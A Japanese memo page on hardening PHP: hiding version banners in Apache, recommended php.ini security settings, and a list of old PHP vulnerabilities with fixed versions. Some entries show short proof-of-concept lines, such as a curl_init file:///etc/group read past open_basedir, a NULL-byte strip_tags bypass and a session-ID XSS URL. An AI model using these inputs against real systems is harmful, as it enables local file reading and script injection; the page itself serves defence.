PHP マニュアル : PHPの隠蔽のページには、PHP を動作させる拡張子を変更する方法が挙げられています。ここまでする必要があるかどうかは分かりませんが、必要な場合は設定してください。

章の最初へ | 目次へ

c. Apache の設定

Apache に PHP を組み込んだ場合、HTTP のレスポンスヘッダに PHP が組み込まれていることが示されます。

Server: Apache/1.3.31 (Unix) PHP/4.3.9

これを隠すには、httpd.conf に以下の設定を追加します。詳しくは、Apache Core Features : ServerTokens ディレクティブ を参照してください。

ServerTokens Prod

以下のようになりますので、PHP が組み込まれていることが分からなくなります。

Server: Apache

また、http.conf の ErrorDocument で何も設定していない場合、Apache のエラーページでバージョン情報が表示されますので、以下の設定も行っておくと良いと思います。

ServerSignature Off

章の最初へ | 目次へ

d. 参考サイト

章の最初へ | 目次へ

▲ 目次へ


セキュリティに配慮した php.ini の設定

  1. php.ini の設定
  2. 参考リンク

a. php.ini の設定

php.ini の設定でセキュリティ問題に関係すると思われる設定一覧を作成してみました。デフォルト値は PHP マニュアル: php.ini ディレクティブを参考にしています。

php.ini の設定
設定名 デフォルト値 推奨設定(例) 備考
register_globals Off Off 特殊な変数(GET/POST/Cookie/サーバ変数/環境変数など)をグローバル変数に登録します。 これまでに多くのセキュリティ問題を発生させてきた機能です。余程の理由がない限りは On にすべきではありません。
magic_quotes_gpc On Off GET/POST/Cookie の 「\」「"」「'」「\0」を自動的にエスケープ(addslashes() 関数を適用)します。 便利な機能のように思われるかもしれませんが、これは無効にする方が安全です。 この機能によって SQL インジェクションや NULL バイト攻撃などのセキュリティ問題を回避できることもありますが、Shift_JIS などの文字コードで 一部の文字にバックスラッシュが付くなど、不具合が起きることも多くなります。 この機能に頼らず、変数使用時に適切なエスケープを行ってください。
default_chaset "" "UTF-8" header() 関数などで明示的に文字コードを指定しない限り、HTTP 応答ヘッダで default_chaset で 指定した値が使用されます。この値が設定されていない場合、ブラウザが文字コードを自動認識するのですが、UTF-7 と誤判定させることによって クロスサイトスクリプティングが発生させることができたという問題もありましたので、適切な値を設定した方が安全です。 参考:文字コードに UTF-7 を使用したクロスサイトスクリプティング
expose_php On Off PHP を使用していることを知らせる機能です。HTTP レスポンスヘッダに X-Powered-By: PHP/(version) が表示されます。 また、Off にすると、phpinfo() で PHP のロゴが表示されなくなります。
error_reporting NULL E_ALL エラー報告レベルです。ini_set() でも変更できます。
display_errors On Off(On) エラーが発生した場合にブラウザに表示します。開発時は On の方が良いと思いますが、外部に公開する際は Off にすべきです。
log_errors NULL On エラーログを記録するかどうかを設定します。error_log に指定したファイルに出力されます。 error_log が未設定(NULL)の場合は、Apache のエラーログに記録されます。
open_basedir NULL "/path/to/path" PHP によって開くことができるファイルを特定のディレクトリに制限します。設定可能であれば設定しておいた方が安全です。
disable_functions "" phpinfo,eval 特定の関数を無効にします(カンマ区切り)。必要に応じて、設定してください。
enable_dl On Off PHP の動的モジュール拡張機能(dl() 関数)を有効にします。 拡張モジュールを動的に読み込む必要がない場合は Off にしておいた方が安全です。
file_uploads On Off(On) ファイルアップロードを許可します。ファイルアップロードを行わない場合、Off にしておくと安全です。
upload_max_filesize "2M" "2M" ファイルアップロードで受け入れる最大ファイルサイズです。 ファイルアップロードを有効にする場合は必要に応じて制限をしておくと良いと思います。
allow_url_fopen On Off ファイルを開く関数(fopen(), file(), include(), ...) で http://... などの URI でもファイルと同様に開けるようになります。外部のサーバからファイルを取得する必要がなければ Off に しておいた方が良いと思います。
allow_url_include Off Off PHP 5.2.0 で導入された設定です。外部の PHP スクリプトを利用するということは通常必要ありませんので、Off にしておくべきです。 On にすると、include(), include_once(), require(), require_once() で URL 対応 の fopen ラッパーが使用できるようになります。この機能は allow_url_fopenOn になっていないと使用できません。 PHP 5.2.1 からは、data: スキームと php: スキームもこの設定の対象になりました。
session.save_path "" "/path/to/path/" セッションの保存場所を指定します。/tmp のように、他のユーザからファイルの一覧が見えるような場所を 設定すべきではありません。他のユーザが読み込みできないようにそのディレクトリの権限設定を行ってから、その Path を指定してください。
session.use_cookies 1 1 セッション ID の受け渡しに Cookie を使用します。
session.use_only_cookies 0 1 PHP 4.3.0 以降で使用可能です。セッションの処理を Cookie のみで行います。理由がなければ 1 に してください。
session.auto_start Off Off セッションを自動的に開始します。自動的に開始するメリットはあまりありませんので Off のままで良いと思います。
session.cookie_lifetime 0 0 セッション Cookie の生存期間を設定します。0 を指定すると、ブラウザを閉じるまでが有効期間になります。 このままで問題ないと思います。
session.cookie_path "/" "/path/to/path" セッション Cookie を発行するディレクトリを指定します。 特定のディレクトリでしかセッションを使用しない場合は設定してください。
session.gc_maxlifetime 1440 1440 セッションの生存期間を秒単位で設定します。必要に応じて設定してください。あまり長い時間に設定しないでください。
session.use_trans_sid 0 0 透過的なセッション ID の付加を行うかどうかを指定します。特に理由がなければ 0 にしておいた方が安全です。
session.entropy_file "" /dev/urandom セッション ID を生成する際に使用するエントロピソースへのパスを指定します。セッション ID の生成がより安全になりますので、 可能であれば設定しておくと良いと思います。session.entropy_length と一緒に設定してください。
session.entropy_length 0 16 session.entropy_file で指定したファイルから読み込むバイト数を指定します。 適当なサイズを指定しておけば良いと思います。ただし、0 の場合は無効になりますので注意してください。
session.hash_function 0 1 PHP 5.0.0 で追加された設定です。セッション ID を生成する関数を選択します。0:MD5, 1:SHA-1 です。 MD5 は十分な強度があるとは言えない状況になってきていますので、1(SHA-1) を使用した方が良いと思います。

セーフモードを設定することも可能ですが、将来的には削除される予定であること、期待したほど効果的でない、ファイル保存時の権限問題により、ファイルに書き込めないなど、問題が多いことからここでは設定に入れていません。

章の最初へ | 目次へ

b. 参考リンク

章の最初へ | 目次へ

▲ 目次へ


PHP で報告されているバグ、セキュリティ問題

  1. 参考サイト
  2. PHP Trailing Slash "open_basedir" Security Bypass
  3. PHP Safedir Restriction Bypass Vulnerabilities
  4. Path Disclosure and PHP
  5. PHP 4.1.2 から PHP 4.3.9 と PHP 5.0.1 以前にメモリリークを起こす
  6. PHP CURL "open_basedir" Security Bypass Vulnerability
  7. PHP memory_limit remote vulnerability
  8. PHP strip_tags() bypass vulnerability
  9. Cross-site Scripting in PHP's Transparent Session ID Support
  10. PHP 4.3.2 の sprintf() や printf() にバグ
  11. PHP 4.3.0 から PHP 4.3.2 のセーフモードにバグ
  12. PHP 4.3.0 の CGI 版にバグ

a. 参考サイト

以下のページなどで、セキュリティ情報がまとめられています。

ここでまとめた情報は古いものが多いです。最近、どのようなセキュリティ問題が修正されたかは、PHP の ChangeLog を参照してください。

章の最初へ | 目次へ

b. PHP Trailing Slash "open_basedir" Security Bypass

PHP には、php.ini の open_basedir を設定して PHP スクリプトを動作させるディレクトリを制限する機能がありますが、その制限を回避されてしまう場合があることが報告されています。

Secunia の例では、/home/user1/ でのみ PHP を動作させるつもりで以下のように設定していた場合、

open_basedir = /home/user1/

/home/user11/, /home/user12/, ... などの前方が /home/user1 と一致するパス名を持つ全てのディレクトリで PHP スクリプトが動作します。/home/user2/ など、1文字でも違いがある場合は問題はありません。

open_basedir を使用して PHP の動作を読み込みディレクトリを制限している場合は問題が起きないか確認した方が良いかもしれません。この問題は PHP 4.4.0 や PHP 5.0.4 でも確認されているそうです。

PHP 4.4.1 と PHP 5.1.0 では修正されています。また、PHP 5.0.6 で修正される予定になっていますが、PHP 5.0.6 は公開されるかどうかは分かりません。

章の最初へ | 目次へ

c. PHP Safedir Restriction Bypass Vulnerabilities

GD の一部の関数(imagegif(), imagepng(), imagejpeg()) や、curl_init() で、php.ini において設定したディレクトリ制限を回避されてしまう問題が報告されています。

PHP 4.4.1 と PHP 5.1.0 では修正されています。また、PHP 5.0.6 で修正される予定になっていますが、PHP 5.0.6 は公開されるかどうかは分かりません。

章の最初へ | 目次へ

d. Path Disclosure and PHP

Path Disclosure and PHP - iBlog - Ilia Alshanetsky によると、本来、script.php?name=foo のように入力変数の受け取りを期待しているスクリプトで、script.php?name[]=foo のような形で入力変数を受け取ると、スクリプトによってはエラーが発生し、ディレクトリパスが表示されてしまうという問題があるそうです。

この問題は PHP の全てのバージョンで影響を受けます。おそらく修正するのは無理だと思われますので、ディレクトリパスが表示されると困るような場合は、以下のエラーを表示しないようにする対策を行ってください。

対策として、以下のようにエラーをブラウザに表示しないように設定し、別でファイルにログを記録する方法と、受け取り時にキャストを使用して型を強制してしまうという方法が挙げられています。

<?php

ini_set("display_errors", 0);
ini_set("log_errors", 1);
ini_set("error_log", "/path/to/php/errors");

?>

章の最初へ | 目次へ

e. PHP 4.1.2 から PHP 4.3.9 と PHP 5.0.1 以前にメモリリークを起こす

GET, POST, COOKIE のパラメータ名に不正な文字列を入れると、メモリリークを起こすという問題です。以下のように、"[" を閉じない場合に起きるようです。この問題は、PHP 4.1.2 から PHP 4.3.8 以前と PHP 5.0.1 以前で確認されています。

http://example.com/filename.php?abc[a][=1

PHP 4.3.9 と PHP 5.0.2 で修正されています。

章の最初へ | 目次へ

f. PHP CURL "open_basedir" Security Bypass Vulnerability

PHP 4.3.10 以前のバージョンで、拡張モジュールである、CURL を使用すると、php.ini の open_basedir で設定したセキュリティ制限を回避されてしまうという問題が報告されていました。この問題は、CURL モジュールに含まれる curl_init() などの関数は、open_basedir の制限が効かず、ローカルにある任意のファイルの読み込みが可能であるということです。

以下のように、file://curl_init() の引数に与えることで、ローカルにある任意のファイル内容を表示させることが可能です。

$ch = curl_init( "file:///etc/group" );
eco curl_exec( $ch );

十分に入力チェックを行い、curl_init() の引数に不正な値が入らないようにすることで問題の回避は可能です。また、CURL モジュールを無効にすることでもこの問題は回避可能です。

この問題は PHP 4.3.11 と PHP 5.0.4 以降で修正されています。

章の最初へ | 目次へ

g. PHP memory_limit remote vulnerability

PHP 4.3.7 以前のバージョンで、PHP のコンパイルオプションに --enable-memory-limit を指定していた場合にリモートからの攻撃が可能という問題です。もし、--enable-memory-limit を指定して PHP をコンパイルしている場合は、PHP 4.3.8 以降にバージョンアップすることが推奨されています。

--enable-memory-limit を外して PHP をコンパイルすることでこの問題は回避できますが、使用メモリの上限が無い状態になりますので、メモリ使用量が多い PHP スクリプトが多い場合は、メモリ不足になる可能性もありますので注意してください。

章の最初へ | 目次へ

h. PHP strip_tags() bypass vulnerability

PHP 4.3.7 以前の strip_tags() で第2引数に、許可するタグを指定した場合、\0 (NULL バイト)を含めることで、タグの除去を回避できてしまうという問題です。

例えば、以下のように実行された場合、タグは除去されずに、\0 が付いたまま出力されてしまいます。

echo strip_tags( "<\0script>alert()</\0script>", "<s>" );

strip_tags() の第 2 引数を省略して、許可タグを指定しない場合は、問題にならないようです。

最新版の Mozilla や Opera などでは、<\0script> のようなタグは script タグとはみなされずに無視されますが、Internet Explorer などのブラウザでは、script タグとして処理され、Javascript などが実行されてしまう可能性があります。

strip_tags() は、PHP 4.3.2 からバイナリセーフに変更されています。PHP 4.3.1 以前のバージョンで、\0 が含まれた文字列が第1引数に入力された場合、そこで文字列終端としてみなされ、strip_tags() の処理が \0 の前の部分で終わってしまうという問題があります。

この問題は直接の危険性があるわけではありませんが、予想外の結果になることがありますので、気をつけておいた方が良いと思います。この問題を回避するためには、ユーザからの入力チェック時に、\0 を取り除く処理を行えば大丈夫です。

章の最初へ | 目次へ

i. Cross-site Scripting in PHP's Transparent Session ID Support

PHP 4.3.1 以下のバーションで、session.use_trans_sid を有効にしている場合、以下のようにセッション ID にタグを含めるとクロスサイトスクリプティングが可能になってしまう問題が報告されています。

この問題は、PHP 4.3.2 で修正されました。

http://www.example.com/index.php?PHPSESSID="><script>alert()</script>

章の最初へ | 目次へ

j. PHP 4.3.2 の sprintf() や printf() にバグ

PHP 4.3.2 の sprintf()printf() 関数には、引数に負の値が入ると、NULL バイトが後ろに追加されてしまうバグがあります。

章の最初へ | 目次へ

k. PHP 4.3.0 から PHP 4.3.2 のセーフモードにバグ

PHP 4.3.0 から PHP 4.3.2 のセーフモードにバグがあり、セーフモードの設定が回避されてしまうというバグがありました。セーフモードを使用する場合、PHP 4.3.0 から PHP 4.3.2 は使用しないでください。

この問題は PHP 4.3.3 以降で修正されています。PHP 4.2.x 以前のバージョンでは影響はありません。

章の最初へ | 目次へ

l. PHP 4.3.0 の CGI 版にバグ

PHP 4.3.0 の CGI 版には、Web サーバが読み込み可能な全てのファイルへのアクセスが可能になってしまうというバグがあります。

章の最初へ | 目次へ

▲ 目次へ


参考サイト

▲ 目次へ


更新履歴

2011-02-27

2008-05-11

2007-02-18

2006-08-31

  • Session Fixation(セッション固定)攻撃の対処方法に間違いがありましたので、修正しました。指摘してくださった金床さん、どうもありがとうございました。

  • その他、細かい文書の修正を行いました。

2006-06-20

  • 掲載コードの一部に間違いがありましたので、修正しました。指摘してくださった方、どうもありがとうございました。

2006-05-07

2006-01-04

2005-12-18

  • リンクの追加

  • リンク切れの修正

2005-11-25

2005-11-16

  • リンク切れの修正。

2005-08-16

2005-07-17

2005-07-10

  • 参考リンクの追加。

2005-06-05

  • 参考リンクの追加。

  • 誤字、脱字の修正など。

2005-05-05

2004-10-24

2004-10-17

2004-10-11

  • 初版作成。公開。

▲ 目次へ戻る

LastUpdate: 2011-02-27 | Counter: counter | メモ一覧 | HOME